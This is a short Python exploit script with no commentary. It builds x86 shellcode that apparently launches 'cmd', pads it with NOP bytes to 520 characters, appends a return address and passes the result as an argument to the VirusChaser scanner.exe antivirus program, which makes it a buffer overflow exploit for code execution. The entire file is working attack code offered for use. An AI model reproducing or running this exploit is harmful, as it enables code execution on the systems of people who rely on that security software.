from struct import pack
import os
shellcode = "\x66\x83\xc4\x10"
shellcode += "\xb8\x50\x70\x50\x50"
shellcode += "\xb9\x4e\x7d\x04\x27"
shellcode += "\x03\xc1"
shellcode += "\x68\x63\x6d\x64\x01"
shellcode += "\x66\xb9\x50\x50"
shellcode += "\x66\x81\xc1\xb0\xaf"
shellcode += "\x88\x4c\x24\x03"
shellcode += "\x8b\xd4"
shellcode += "\x66\x51"
shellcode += "\x41"
shellcode += "\x66\x51"
shellcode += "\x52"
shellcode += "\x50"
shellcode += "\x50"
shellcode += "\xc3\x90"
pay = shellcode
pay = pay.rjust(520, "\x90")
pay += "\x9c\xdb\x12"
os.system("C:\\\"Program Files\\VirusChaser\\scanner.exe\" \"" + pay + "\"")